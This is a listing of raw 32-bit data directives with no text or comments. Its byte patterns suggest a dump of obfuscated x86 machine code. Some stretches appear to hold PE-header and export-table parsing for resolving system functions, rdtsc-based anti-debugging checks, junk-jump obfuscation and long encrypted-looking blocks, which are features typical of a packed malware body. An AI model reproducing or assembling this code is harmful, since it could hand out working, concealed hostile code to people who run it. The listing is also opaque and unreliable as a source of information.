		dd 800FD365h, 1, 13E9F5h, 0A8150000h, 0F3F08240h, 571DD274h
		dd 136F6A36h, 51711C12h, 0A1BD8998h, 6A07DC1Dh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 71DC356h, 0CE9B7h, 70500000h, 59E5396Fh, 49FC8427h
		dd 840FC6C2h, 1Eh, 188D0Fh, 13E90000h, 8D000000h, 3DBE64E6h
		dd 0B2D52E17h, 4338EAE0h, 0F3B51D78h, 8C66DF2Bh, 0C830FC8h
		dd 0E9000000h, 7, 380BEA25h, 24B7043Ah,	12E903h, 85480000h
		dd 448E6B8Dh, 52999F52h, 0AD5EC1C2h, 0BBF7C603h, 850FC00Ah
		dd 1C8h, 1870Fh, 8DF80000h, 0DC244DB5h,	0DE907h, 53CC0000h
		dd 1FA1D196h, 0D56711C1h, 8BB04781h, 0DC249385h, 0F4806007h
		dd 0EE9B8h, 0FE4B0000h,	0CE69C4B1h, 0FA600BB2h,	8C5A9722h
		dd 52509261h, 52505250h, 585A310Fh, 6160310Fh, 310F585Ah
		dd 0BACF8B60h, 3F868A96h, 50585A61h, 23870Fh, 52500000h
		dd 12E9h, 14D9EE00h, 8543E2Ah, 0E7FE09EBh, 2C3A90A9h, 0F9D0F57h
		dd 820F31h, 5A000000h, 0FF89258h, 0FE244C01h, 0F8F0Fh
		dd 0AE90000h, 0D2000000h, 5A302644h, 0D35119Fh,	0F605A6Ah
		dd 18Eh, 5E9F800h, 67000000h, 5FA5E7BAh, 24C28361h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6CC35747h, 0C7F4BDEBh
		dd 0AC6320FBh, 7830Fh, 0F600000h, 0D88BDFB7h, 18810F61h
		dd 0E9000000h, 13h, 8ADAA4B1h, 2A7E60EFh, 8CE5F80h, 8332ECD5h
		dd 603EAC12h, 68D0Fh, 800F0000h, 0
		dd 6661D98Bh, 6AFC7289h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 3C81C355h, 88451482h
		dd 0FCD96825h, 10CEC1F9h, 728966F9h, 52006A02h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0BE24BE0Dh
		dd 5FF2C2FDh, 4CDF9FCh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0DDC35646h, 0C92CB43Dh, 0CFE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 41BDE674h, 170E1AF6h, 8F0F14C9h, 1, 1880FF8h, 0FC000000h
		dd 2493858Bh, 6A07DCh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 519AAC3h, 6E119693h, 11E95747h
		dd 3F000000h, 324A4446h, 2D9F0681h, 0EF62E548h,	3BC4F88h
		dd 244DB58Dh, 6A07DCh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0F73102C3h, 0F87B83Ch, 38Ch, 61F86000h
		dd 61E28A60h, 0C6C3858Dh, 870F07DBh, 1,	0E9D0FFF8h, 14h
		dd 0F4EF5E33h, 45C6F109h, 0DC3984D2h, 0B494E918h, 0F844DC25h
		dd 1D998589h, 13E907DCh, 77000000h, 2C819812h, 7192B104h
		dd 5386AF4Fh, 76DF5AF0h, 6061538Ah, 0D62CE381h,	8B610B1Bh
		dd 0DC1D9985h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 17B8ACD4h, 0E9FC60C3h
		dd 0Bh,	79A334DBh, 799DBD0Ah, 61035A3Ch, 0F560F5C3h, 2493BD83h
		dd 0F0007DCh, 2F85h, 85C7F900h,	7DC2493h, 1013Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B6C35747h, 0B1E4F51Ch
		dd 28B76CF2h, 1E9h, 20CDF900h, 0
		dd 3774C00Bh, 8B0C708Dh, 0DC1DA1BDh, 8B907h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 0DC1D9D9Dh, 34583B07h, 0D38B157Fh
		dd 304D26Bh, 89018BCAh,	0DC1D9985h, 8B04EB07h, 61C5EB00h
		dd 1D99858Bh, 0FCF07DCh, 78Eh, 95B56000h, 618BE080h, 0B95A5060h
		dd 19E43E59h, 0C08BFC61h, 0BE8h, 0F2349C00h, 0AA8CF211h
		dd 0FD2CC835h, 0D3815EFCh, 3EAAA981h, 643EC681h, 0F9BB0000h
		dd 3374ED73h, 0EE8C9h, 33A00000h, 20DD2BF9h, 0A6F45635h
		dd 0DE1B36D6h, 48E0Fh, 0BA660000h, 8B5A5C36h, 0C6800E04h
		dd 0EE8817Ch, 667ADDEDh, 0D2D0E381h, 2083F081h,	0BA6608E1h
		dd 0F0817F49h, 6F49AC4Eh, 890F6060h, 0
		dd 7E8h, 61CD9000h, 0CC6B65Ah, 890F615Bh, 0
		dd 840F5061h, 2, 48F5DB6h, 0D781660Eh, 0E981D990h, 678B6578h
		dd 5E9h, 1D061F00h, 0C1815B63h,	678B6574h, 0F9815F53h
		dd 0FFFF9C74h, 0FF8D850Fh, 8166FFFFh, 0E82BE2D3h, 12h
		dd 40407695h, 2EC2A1AAh, 30C15CDAh, 0A281B6EFh,	0FC53D89Bh
		dd 0F8605F59h, 0A603F281h, 81614BCCh, 6FDDC7h, 0D6816600h
		dd 0C7B8C8ABh, 8B00001Bh, 661F8BD0h, 0A4A2C181h, 211AC381h
		dd 0F78B46EAh, 0E9AEF381h, 0F5376BCh, 815AF6BFh, 0D59211EBh
		dd 0C396BE64h, 53535F48h, 10E8h, 9E5E900h, 4F58A120h, 0A181270Ch
		dd 839791EFh, 0EA816661h, 5E59F57Ah, 0FE9078Fh,	0E9000000h
		dd 81E5F1A6h, 256F0CF7h, 7111E325h, 0EF83A10Ch,	0F7DE8103h
		dd 4F7D12A8h, 0F850F48h, 8A000000h, 23E9EFh, 0CF5E0000h
		dd 0BE071E60h, 0BA52CEFEh, 152DC8D4h, 0FF7BE959h, 34A5FFFFh
		dd 0E8E08005h, 0EE4C6FDDh, 4ED552CAh, 83E9B7h, 51530000h
		dd 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h
		dd 0D8033C43h, 503B8166h, 57850F45h, 8B000000h,	5C03785Bh
		dd 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h
		dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h
		dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah
		dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah
		dd 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 10h, 0D787DFB1h
		dd 936610CEh, 127E98C9h, 92F0F99h, 28D8815Bh, 811FC59Bh
		dd 7430C3h, 68F800h, 0F000000h,	6659C7B7h, 8B797FBAh, 13E90B34h
		dd 0CF000000h, 9AA37FB0h, 40D14718h, 0AE3FF4D5h, 59767C9Ch
		dd 0F6813A12h, 2D075DCh, 74D3F281h, 0C681591Fh,	1EAECC81h
		dd 0C8A0Fh, 7E90000h, 3E000000h, 168FD1Ch, 0C6811A52h
		dd 0CAE9488h, 0DE9h, 6BFD3100h,	0EF89B81Eh, 0C29228A9h
		dd 34893681h, 9AEE800Bh, 5890Fh, 81660000h, 81BDEAC0h
		dd 0CF224BE9h, 47C1817Ch, 817CCF22h, 0FF8C7CF9h, 80850FFFh
		dd 0BFFFFFFFh, 652FD393h, 148E9h, 4800h, 4C00h,	5000h
		dd 5400h, 5800h, 5C00h,	6000h, 6400h, 0A800h, 0AC00h, 0B000h
		dd 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h
		dd 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 38h dup(0)
		dd 65BEC500h, 0BCC20300h, 0BC858D00h, 8907DC27h, 0D3066195h
		dd 0FC858907h, 6607DC28h, 37D7C781h, 18D185C6h,	8B5407D3h
		dd 0D31B6D95h, 4E807h, 68290000h, 0B966EE62h, 0BB50439Ah
		dd 46707785h, 424448Bh,	5BE5B757h, 4489008Bh, 0F08A0424h
		dd 8E958h, 0CA510000h, 0FC85C14Bh, 0B5FFEC78h, 7D30DF1h
		dd 14E8h, 57D6B900h, 3B1CFC89h,	475D5329h, 2DAF3C5Ch, 0CBB7AD8h
		dd 5A13B273h, 36A858Dh,	0E95207DCh, 0Fh, 96802BE6h, 0F1D0F570h
		dd 6634706Fh, 5E8D638Fh, 0CA80D0FFh, 8589BDh, 0E907DC29h
		dd 41h,	12198589h, 0BF0F07D3h, 0B58B56FFh, 7DC28FCh, 85830689h
		dd 7DC28FCh, 60C35E04h,	27BCB58Dh, 0FEB07DCh, 0FF006A56h
		dd 95FF36h, 5E07DC29h, 8304C683h, 0EC75003Eh, 6653C361h
		dd 1004D781h, 0C2858D5Bh, 8907DC29h, 0D3009D8Dh, 91858907h
		dd 0E907D303h, 109h, 25CEA38Ah,	8A055C97h, 76A18883h, 7A0E0A1Dh
		dd 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	0F73D577Dh
		dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h,	7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh,	20602060h
		dd 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h,	9DB7EDA6h
		dd 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h,	33537520h
		dd 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h,	0F360C950h
		dd 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh
		dd 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h,	5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	0F73D577Dh
		dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h,	7D2F6D37h
		dd 0E0A1E35h, 5D340700h, 59A0A3D2h, 1Eh, 8 dup(0)
		dd 1111E900h, 4680000h,	0E907DC2Eh, 0FFF9A73Ch,	0DC2F4568h
		dd 0A732E907h, 7668FFF9h, 0E907DC30h, 0FFF9A728h, 0DC317768h
		dd 0A71EE907h, 1968FFF9h, 0E907DC32h, 0FFF9A714h, 0DC332768h
		dd 0A70AE907h, 1268FFF9h, 0E907DC35h, 0FFF9A700h, 0DC36E268h
		dd 0A6F6E907h, 668FFF9h, 0E907DC38h, 0FFF9A6ECh, 0DC396068h
		dd 0A6E2E907h, 6D68FFF9h, 0E907DC3Ah, 0FFF9A6D8h, 6F71B14Dh
		dd 66529269h, 6C6CAC88h, 6858946Eh, 7967A782h, 0E9C8FBA6h
		dd 0D3B1B7A9h, 0E6C3A997h, 0CFB0AEAAh, 0E7F0A593h, 89F04E15h
		dd 2F3333F4h, 5A2E7C8h,	0AAB4AEC9h, 5BC790CCh, 11EEB015h
		dd 0C565D5h, 97071907h,	801D65F4h, 37F1444h, 778DD9ACh
		dd 17F1D5F8h, 1A06DFDBh, 90474631h, 5B4C6CACh, 0CC600730h
		dd 8D5D08B2h, 7DB5D07Ch, 0C432B025h, 0E144B3ECh, 282F05CAh
		dd 8D7BB901h, 0DC8A38E8h, 5ED9FE3Ah, 15C03D9h, 97417BB9h
		dd 8839E880h, 2FF10652h, 225E3F1Dh, 0A2E2B9ADh,	62ED6AF6h
		dd 924007EDh, 50257BB9h, 0B992252Ch, 33E58A7Bh,	1E1C5835h
		dd 6164E24Eh, 8F607D34h, 8449C03Dh, 0D8C804A2h,	0A194ED60h
		dd 3B14E26Bh, 0B070B04Bh, 53347C0Dh, 1A35710Eh,	235F401Eh
		dd 1C583537h, 94D4B393h, 3DCFD1A6h, 5A39D06Fh, 524E8A6Ch
		dd 195A2BCCh, 86966092h, 3816A1B6h, 4C291959h, 0D743C04Ch
		dd 4D9E7959h, 10FF0115h, 0E69F989Ch, 6C37Ch, 0E7C8A800h
		dd 0D0ADAFABh, 94E3A494h, 0B1951A95h, 90E898D4h, 21FB256Ah
		dd 2C868705h, 0FC0F8B95h, 33BDE0h, 0DC716719h, 63DA8153h
		dd 0ADBF2DB1h, 0F8BF98D4h, 0B1633D24h, 0CBCDA22Dh, 1D5A8D5Bh
		dd 81F690ACh, 2A366941h, 0F5A965F2h, 0C543D978h, 0CF0B47E1h
		dd 0D89C2AD6h, 13DD3654h, 1D921B71h, 0C57A1037h, 7593h
		dd 820DEC7Dh, 0C57AABB2h, 0B9671093h, 3C146AAh,	5E2663h
		dd 31620000h, 98103CA6h, 82574CE7h, 5594EB72h, 0F9A7D0F3h
		dd 0EF686790h, 2DF46C0Dh, 186D0B96h, 2C504410h,	4C86BCC5h
		dd 0D5B2B4CAh, 0ECCA999h, 0C859B49Eh, 7171868Fh, 165066D4h
		dd 42970CE7h, 0E0D1E656h, 5AC0F83Fh, 578BBB88h,	99FA1F63h
		dd 5D6C2283h, 0E0F57BCCh, 0DDD74283h, 11000000h, 0AFABE7C8h
		dd 1E5A3816h, 0F115130h, 342E6E09h, 0D1114D2Ah,	7DB95234h
		dd 84C45F3Dh, 0CEAFAD6Bh, 0B7D6A692h, 0C2E490D7h, 5B260E6Bh
		dd 2FF84C30h, 40D50D50h, 6C7EE5B7h, 0A63AD50h, 336F100Eh
		dd 4A862705h, 4D4C2B10h, 8247B282h, 0DF2A6BFBh,	0ED37DE4Dh
		dd 3DD821F9h, 0FE8D2FDh, 0B0F6311h, 0CEB6BE48h,	0B881BFB8h
		dd 25F7C0BFh, 16ABC53Fh, 6A96258h, 478B5F52h, 423A2254h
		dd 0AFCB3BCh, 2B312F6Fh, 0E622034Ch, 12ED4311h,	0A4AE8AF9h
		dd 0D5E0Fh, 0A4E4C400h,	9FDFB6B4h, 9FDFBBA1h, 0A1DDBBA1h
		dd 9EDEB99Fh, 6F54EFA2h, 0A105090h, 2A30306Ch, 45231551h
		dd 572C2C68h, 0F5D57C60h, 0AEBAF489h, 14E9C8AAh, 52421BB7h
		dd 35DFA56Eh, 94AD2DADh, 2208381Fh, 2B174985h, 5AD2B131h
		dd 0CBA901A7h, 0BB293004h, 0E98EF355h, 2A294E37h, 39D8CFA5h
		dd 1F530B28h, 7A17785Ch, 915625AAh, 7D71665Bh, 7B7C66A6h
		dd 447EF77Dh, 5FCFBD68h, 0F51230FEh, 0E87E5BAh,	893FEE94h
		dd 0B0D31BFh, 56F971Bh,	0F37C529Dh, 258C5487h, 8D8BBEC1h
		dd 0A60A5BF2h, 86D507ACh, 0E1h,	0ABE7C8C2h, 8897B624h
		dd 12577AA2h, 17F2FC66h, 966E60D7h, 5C73AF4Dh, 9FBAB29Ch
		dd 0D959A6Dh, 0BE9E7E19h, 2D18A397h, 5E5C73FCh,	8CC86589h
		dd 4AE59C8Ch, 0CAAA7B70h, 0CB99CECAh, 0C48E5C7h, 88C86343h
		dd 9A68498h, 0CBAC8DCDh, 63103CCh, 694BD677h, 0E5FD7AAh
		dd 3571D3A7h, 0D25CEF82h, 9DDA9B9Dh, 0B09E199Eh, 95E593CFh
		dd 0F831D9B7h, 29843B40h, 56FC80CDh, 538B1D98h,	1B0BC4A9h
		dd 423F417Dh, 0A17CC564h, 644A7661h, 6BC785C5h,	24209056h
		dd 0C1D852Eh, 0A3830000h, 9C777563h, 0A67E5C5Ch, 96747A66h
		dd 0A1805E5Ah, 15AC5F61h, 0A593D3AEh, 0B7A9E5C7h, 9C9CD8B1h
		dd 0B3A5E1BEh, 5C03D9DEh, 41F489F4h, 0E9C86125h, 2C1AB7A9h
		dd 0D0B0D4Dh, 0FF7B3470h, 5438127Fh, 1408F86Fh,	0ABE7C830h
		dd 2C684224h, 0D547392Eh, 14F136D7h, 5CC1FFD8h,	1211E6AFh
		dd 0F0B2B79Dh, 46281A74h, 0F76F316Dh, 0D5030EBBh, 1CADDE9Eh
		dd 41969475h, 0BD72B24Dh, 793370D7h, 6020550Bh,	0B4921D52h
		dd 0D3E799D9h, 0E15A84FEh, 0D2953C1Dh, 5F5B5626h, 0C3D6FFC8h
		dd 0C9A5F778h, 0D00A4AE5h, 0BFB329D7h, 6B46395Eh, 3231463Bh
		dd 7514F27Dh, 0EBF34335h, 0DF37E46Fh, 0E8D20EEFh, 0CB19110Fh
		dd 0CE9A42D3h, 6EA8CE6Eh, 8B220422h, 6A160F4Bh,	62ED823Ch
		dd 68C8D1F8h, 1FF31CFh,	4E4D2A0Fh, 2A93B389h, 0E7DCF4BFh
		dd 0DD7A192Ch, 23DB8252h, 0B7C07DC5h, 0B3979BC9h, 2EF1BF60h
		dd 0EF68EF88h, 0E0CD9468h, 0B4B2E13Eh, 1C196D2h, 0B1B0E5Eh
		dd 0D93F4181h, 0CB37003Ch, 462A25CDh, 61A062Eh,	814B8728h
		dd 674DD3Fh, 0ECB94A18h, 5200000Ah, 644A76B6h, 515789C9h
		dd 614779B9h, 4F4D8BC7h, 9D7070B0h, 0A2E2BD06h,	9AD6B8B6h
		dd 0A7E3C09Eh, 96D2B3B9h, 12E2EDAAh, 0F489EB4Bh, 0C8344030h
		dd 0CAAFABE7h, 4529AEADh, 54712F6Bh, 0CE0AEBDBh, 0AFEF8A94h
		dd 0DB9DB2B3h, 1A1C3D8Bh, 0B68611E9h, 0A9813AFh, 0CD9D5B14h
		dd 0A6AF622Dh, 45D0E094h, 971DC0E1h, 0D4FB37D5h, 43F36FE4h
		dd 0A8D2B4EBh, 0FAFD3E3Ah, 8B6034FBh, 66BA60DFh, 0A8999AEDh
		dd 0EC8BA6D6h, 9630C8EAh, 0ADF45B41h, 94D9C8E8h, 7512F4BBh
		dd 84210739h, 46311A48h, 6FAC9047h, 0A63E1F3h, 53349EF5h
		dd 0F7DAA696h, 0A5DF43B4h, 129007D0h, 0DBAD080Ah, 0A9AF710Dh
		dd 4A5090CCh, 887171ADh, 15E7706Fh, 0D45421EFh,	0EE281188h
		dd 2607E79Ah, 0D00A4AE1h, 50C200D7h, 0B8D3FFA4h, 0C18156BBh
		dd 82F2B5C5h, 0C88E8ACEh, 0DFFC8F74h, 4D22CC56h, 55DB477Fh
		dd 0B142106Bh, 9EBh, 4375B551h,	528ECE65h, 7070B04Ch, 6454906Ah
		dd 6D6BAB86h, 0DDBC07A2h, 0DFBD9B9Dh, 0DAB7B5A3h, 0DBBCA29Eh
		dd 0EBE4A19Fh, 89EA4209h, 3B4727F4h, 1C9392E5h,	99D5B393h
		dd 0F3A8FE7h, 1E10F5A9h, 21164480h, 38CC075Fh, 0A9897C3Ah
		dd 43A820D1h, 0EE690EB8h, 34E42400h, 92CEAF9Fh,	0ABE7C8A6h
		dd 0AEADCAAFh, 87CEAE29h, 0EC558818h, 77009583h, 18351C00h
		dd 0D59A5588h, 0CE8A5323h, 9FA5CD38h, 5AAD591Fh, 9ADBC58Ah
		dd 1D118643h, 215D3A7Fh, 6D2B4421h, 78A62E47h, 0E7881234h
		dd 949C879h, 0CFAF0000h, 0B04B518Fh, 926A7070h,	0AA886652h
		dd 8D6C726Eh, 0E9400B4Dh, 0C1FF3FDAh, 0BBFD39DBh, 0D80844DDh
		dd 0C7F935D2h, 0A8AF850Ah, 0DF489E9h, 0A6319561h, 55DB8FD6h
		dd 9572F4F3h, 0B9827E59h, 24F8BFBEh, 332803FAh,	0E521FEF0h
		dd 1D074333h, 0DA5A9C36h, 8CB60E57h, 0AA254A74h, 0A2A0E0BCh
		dd 39BED3C5h, 3D7DBD55h, 83E0FA68h, 458F8757h, 0F338D553h
		dd 0BEFAD511h, 0D7033FE0h, 0DA7105F2h, 0F2D5F5Ch, 0DDBF785Fh
		dd 477BA3C8h, 4CCDBBA7h, 677EFEFAh, 64DBCA88h, 0E21EFBEBh
		dd 7301FFF8h, 40BA35FAh, 2901DD42h, 3EFCF9E9h, 5A466646h
		dd 0C9F733D4h, 7FBF5A4Ch, 0B8B66243h, 32149BD7h, 0B82A1854h
		dd 0D1856C72h, 64143B39h, 0E7E611FAh, 2807E770h, 0F1E1C853h
		dd 66910D7Bh, 0E0B47B7Ch, 0D92ADE79h, 0F67195Eh, 92FA5D4Fh
		dd 670AFCE0h
		dd 8F65EAAAh, 697F09C8h, 0AAD8C8ADh, 0FC6F54CAh, 0C6AF15E1h
		dd 34C8DA0Eh, 26DB85F6h, 83Bh, 93C505A1h, 82BEFE95h, 80C0009Ch
		dd 94C4009Ah, 7DBBFB96h, 0AD4C77D2h, 8F6D6B6Dh,	0AA876553h
		dd 8B6C726Eh, 3B34114Fh, 89E8F259h, 0CB97D7F4h,	26663D31h
		dd 2D694ABCh, 0A9571BB5h, 0BCA6E2C3h, 0F590D5B2h, 2C1085B5h
		dd 0F355CD25h, 0E50AE58Ah, 0E6E512F3h, 0A37CE671h, 2AC6165Ch
		dd 3A6FF606h, 8654F355h, 80E3CB14h, 0B7698ED7h,	41403A1Ah
		dd 0A7DFAED0h, 0A356985Dh, 9377AE2Ch, 1B4EB382h, 4931239h
		dd 2FE7756h, 0AF4B3B54h, 4F8BCB66h, 0A77F8156h,	0F4E6F87Bh
		dd 2B06681Eh, 0E1F6EFEBh, 12EDE156h, 0B85B02D2h, 3740B4E6h
		dd 1EE3D749h, 0F929F4B2h, 0A216882h, 0BBFB9678h, 84FE97BDh
		dd 0F67985BEh, 106818E4h, 0C0FFE063h, 3B7B1658h, 42821DFFh
		dd 12AB2618h, 0FD8C1BD3h, 0E15F48ACh, 5A287Fh, 0E55C0000h
		dd 381C9392h, 3C984DFCh, 0DE1AFCEAh, 15B54A22h,	0E1F60C16h
		dd 0ECD616EDh, 761D0D0Bh, 3B5486FDh, 0FEEEEC81h, 37718367h
		dd 836E6602h, 0AB826409h, 648BCB62h, 0F17F8176h, 8173F381h
		dd 190C603h, 0DA58968h,	0F044CBCDh, 0D0C27B23h,	108h, 86C26343h
		dd 0D99D5B5Ch, 0AFABE7C8h, 88F2D2ADh, 99634F94h, 0BAA1B302h
		dd 1FF35526h, 0C4418156h, 26E2694Bh, 0AEC7F355h, 4F8B6CF2h
		dd 306C0913h, 5B653830h, 4BF86D6Ah, 4893080Dh, 778ECC74h
		dd 0B253D118h, 0C3644A76h, 896E5B87h, 49E1C58Ah, 1CDCD909h
		dd 56B230A7h, 0BD5B2150h, 0B6C9835Ch, 0A4CB5243h, 2DFA84F4h
		dd 0C695D5B5h, 0D36B20F5h, 2EF5B0DFh, 5B41B67Bh, 7BD4B4F4h
		dd 0F6E494D9h, 50392750h, 28AF2827h, 712F6F46h,	5D4968F9h
		dd 4E2307BFh, 760675CAh, 630D507Eh, 5BD49923h, 0C4C8C6Bh
		dd 7933730Eh, 983C1F4Fh, 5009BAA8h, 0B6000006h,	0C09E9ADAh
		dd 0B5B3A5E5h, 0BD9B9DDDh, 0B3B9A7E3h, 0F9A494D4h, 56967152h
		dd 66A2846Ah, 5B97747Ah, 629E7F5Dh, 4616A176h, 0F489EE1Fh
		dd 0C820E484h, 0C101A0E9h, 0E3C4AA96h, 30A730A7h, 55DB054Ch
		dd 0EF056AF3h, 0F355DB68h, 35BA284Dh, 0C8294406h, 5B2733E5h
		dd 8FD6A631h, 0F4F355DBh, 0BBBC7D7Bh, 7A21F3BCh, 158F583Ch
		dd 55CDB282h, 2C08A688h, 28BD0148h, 0E6116655h,	2DCBFBFCh
		dd 4F4F1F1h, 7C20DE5Eh,	0A01A53DEh, 0DE332344h,	0E2B0709Eh
		dd 0DA1FF9EDh, 0F7D7003Ch, 9DEDC1Ch, 0F6646917h, 856EDC0Bh
		dd 0EC738956h, 0D1578194h, 0B387B39Ch, 0D92E14DCh, 4DB6C897h
		dd 7210FE71h, 0A1960C36h, 0B64A5843h, 652BED02h, 8B184215h
		dd 323D1757h, 9AE64A9Bh, 2DC61E75h, 51000001h, 5B87C35Dh
		dd 4C76B651h, 0B094846Bh, 1E31B131h, 13B9BB06h,	8FA66AA7h
		dd 0E494933Ah, 6D6DA986h, 0CCB0906Fh, 0F3555185h, 845AF0EAh
		dd 0CD7ABFDDh, 9D8DCDA2h, 0C0E5C8B6h, 215D3A2Ch, 7CF1075Fh
		dd 0E1C5FE70h, 0E020FF44h, 2EEACBF7h, 14E86F68h, 0F976534Dh
		dd 1A563432h, 92F34335h, 0A7947495h, 0ACACE8C5h, 1A95D1AEh
		dd 2C07502Ch, 0DEF9EEECh, 0B1503E4h, 753A393Eh,	8436A09Fh
		dd 901CBB8h, 91757DC6h,	0AA8BB7F3h, 0FBB4C8EEh,	0D1DA0690h
		dd 12F8E551h, 0E494B338h, 392750F6h, 0AF282750h, 0F31933CDh
		dd 0A02C2CC4h, 14A9FD3Bh, 0CC5DADA6h, 0F11543Dh, 67E5BB17h
		dd 0CFA81EFFh, 39F8F08h, 0E29E97C3h, 55C89D7Ch,	0D8C9A410h
		dd 0DCCA70B0h, 6BBE635Eh, 0F54FCB84h, 164B0292h, 0C707A3C3h
		dd 72DE9A9Bh, 7F4D8D6Ch, 13B5F46Fh, 8009BAA8h, 0E6000004h
		dd 0D0CE0A4Ah, 0E5C3F535h, 0CDCB0D4Dh, 0E3C9F733h, 9D40444h
		dd 468621A2h, 3672141Ah, 4B87240Ah, 326E0F0Dh, 76465106h
		dd 0F489EDEFh, 0C8D094D4h, 0B1B7A9E9h, 0DCA898D4h, 0AFABE7C8h
		dd 94BBA116h, 0F9F355DBh, 68528E6Bh, 0B2B8688Fh, 2AA799D5h
		dd 0A2BE97B0h, 47E49961h, 1D6CF0Bh, 266B9AFFh, 0F7DD5251h
		dd 6E0AB3FAh, 24FEDE95h, 5DCFA3D6h, 18A778A3h, 0A3B243BFh
		dd 0C9E94307h, 0F4C4A9D7h, 8328F684h, 0D95CA1B2h, 0FD7DE364h
		dd 0A733C97Bh, 0DAB5993Eh, 5A9DDE9Ah, 6B5BD45Bh, 821F4F8Fh
		dd 2CE25A46h, 0C3F9B7DBh, 9B5F61FDh, 0CF9666F1h, 0B41A1F6Fh
		dd 36CFBDBBh, 8779B958h, 0A5D0CDAFh, 99DEE8A3h,	9897E0A9h
		dd 0F9703D1Fh, 0E0F89C0h, 0FC919B09h, 0AC0A0773h, 7DA28FEFh
		dd 0DB47F057h, 0E0A0D581h, 8D65A2D2h, 0D96E9E5Ch, 8DD77E5Eh
		dd 0B3BC9941h, 1B6BFC5h, 341B0176h, 9999418Dh, 431B66D4h
		dd 2A02A29Eh, 0D30FF06Eh, 552607E5h, 0D54C062Bh, 169EB97Fh
		dd 0AECC4A10h, 5C70014Fh, 0C2000003h, 0B4BAA6E6h, 0C1A799D9h
		dd 0B1B7A9E9h, 0BF9D9BD7h, 0EDA0A0E0h, 52926D56h, 6AA68866h
		dd 5793706Eh, 66A28369h, 42129D7Ah, 0F489E31Bh,	0C8E4F080h
		dd 16AFABE7h, 231F5B38h, 4B872442h, 216A160Fh, 7C60D7D6h
		dd 0DAA7B9ADh, 14C41448h, 5441315Bh, 56FB6730h,	0CB032CECh
		dd 3798505Fh, 6E5702C7h, 0D2E0A0B7h, 4A11E3ECh,	2FBF47B3h
		dd 0B38FD6A6h, 7BF4BF47h, 46B47B54h, 6CA00F59h,	0EC602018h
		dd 0C8AFCE6Fh, 0F72E0EC9h, 728D46ECh, 33BDAC9h,	0C2721A0Ah
		dd 7E5744B0h, 85B5F590h, 0A4C2F0B0h, 0F562602h,	747CADD2h
		dd 1DFBD4FBh, 0B6C564Dh, 3799D17Ch, 71F11F85h, 0D7B130D4h
		dd 1CC69F9Bh, 37E908A5h, 904BD1A1h, 0C33F27C3h,	60E57A94h
		dd 0A4F2AE99h, 23F998DFh, 7928A3Ch, 1482CA1h, 6607928Ah
		dd 4611E611h, 0F64CB576h, 17E4449Dh, 1F1E31Dh, 1DB020CCh
		dd 9FD444BEh, 83240923h, 838336D7h, 93859C47h, 0CCF67F05h
		dd 3EF9F8FFh, 7F8A745Eh, 936E13C8h, 1F539E1Eh, 1DC2847Dh
		dd 0F18F7F58h, 0E16505B5h, 0FEC94E52h, 34FB7402h, 7C7CB852h
		dd 83129007h, 0A8E4C28Dh, 81910D3Ah, 0B7FC997Fh, 0C99E9CDCh
		dd 0CBACB2AEh, 76C9C58Fh, 0CC963059h, 20237h, 88C86800h
		dd 7BBB5258h, 83C35F3Dh, 7DB95755h, 82C25D3Bh, 0A3208B56h
		dd 9694C404h, 9E7CBCF8h, 9197C905h, 0CB88B8F4h,	0E269F0C4h
		dd 224EF489h, 16E7C856h, 0FBA70DD0h, 7C6691F3h,	0EE69688Fh
		dd 564F0F0Eh, 6F51AAAEh, 1A5AFBA2h, 0EF78099Ah,	0F0F0853Fh
		dd 16F8D36Bh, 0FB3C3C78h, 0BD32FDFCh, 725C31C9h, 7D4C584h
		dd 93E395BAh, 0D9ACCAD1h, 936E395Ah, 998D0281h,	69C1BFFBh
		dd 9317C2DEh, 0C38CE1DBh, 0B1E08857h, 84742CDAh, 33C980F8h
		dd 7464EC4Ch, 6972CBB3h, 0EC2C7B09h, 95791E6Fh,	0A780BAFAh
		dd 686790F9h, 0E521FFEFh, 35199E33h, 3878175Ch,	56422D0Ah
		dd 0F27129E6h, 0B96FC812h, 284CFCEEh, 0E3CCBE4Ah, 7740354Fh
		dd 7FBBFB97h, 0A368FAA6h, 55DA5554h, 0AA569671h, 0DAEA31D2h
		dd 7CCF4019h, 0F0C4D4E2h, 73A84A6Fh, 1A95DA64h,	0D10F4B2Ch
		dd 6E4E2ACBh, 2537CAE7h, 0CD599974h, 1305CFA8h,	4C427EB1h
		dd 0F56D16h, 0BB5B0000h, 0C45F3D7Bh, 0BE565484h, 0BE5C427Eh
